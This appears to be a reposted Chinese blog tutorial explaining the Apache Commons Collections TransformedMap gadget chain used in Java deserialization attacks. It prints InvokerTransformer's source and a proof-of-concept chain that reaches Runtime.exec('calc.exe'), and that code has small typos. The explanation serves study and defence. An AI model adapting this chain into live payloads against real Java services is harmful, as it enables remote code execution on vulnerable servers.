赞
踩
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据改变时,进行一些我们提前设定好的操作。
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法
transform方法
我们可以看到该类接收一个对象,获取该对象的名称,然后调用了一个invoke反射方法。另外,多个Transformer还能串起来,形成ChainedTransformer。当触发时,ChainedTransformer可以按顺序调用一系列的变换。
常用的一些实现Transformer接口的类
ConstantTransformer
把一个对象转化为常量,并返回。
InvokerTransformer
通过反射,返回一个对象
ChainedTransformer
ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
InvokerTransformer代码
public class InvokerTransformer implements Transformer, Serializable { ... /* Input参数为要进行反射的对象, iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型 iArgs为对应方法的参数 在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数 */ public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } }
那么我们的总体思路就是
1)构造一个Map和一个能够执行代码的ChainedTransformer,
2)生成一个TransformedMap实例
3)利用MapEntry的setValue()函数对TransformedMap中的键值进行修改
4)触发我们构造的之前构造的链式Transforme(即ChainedTransformer)进行自动转换
public static void main(String[] args) throws Exception { //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})}; //首先构造一个Map和一个能够执行代码的ChainedTransformer,以此生成一个TransformedMap Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new hashMap(); innerMap.put("1", "zhang"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发Map中的MapEntry产生修改(例如setValue()函数 Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar"); /*代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数: 首先通过ConstantTransformer获得Runtime类 进一步通过反射调用getMethod找到invoke函数 最后再运行命令calc.exe。 */ }
参考 https://www.cnblogs.com/ssooking/p/5875215.html
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。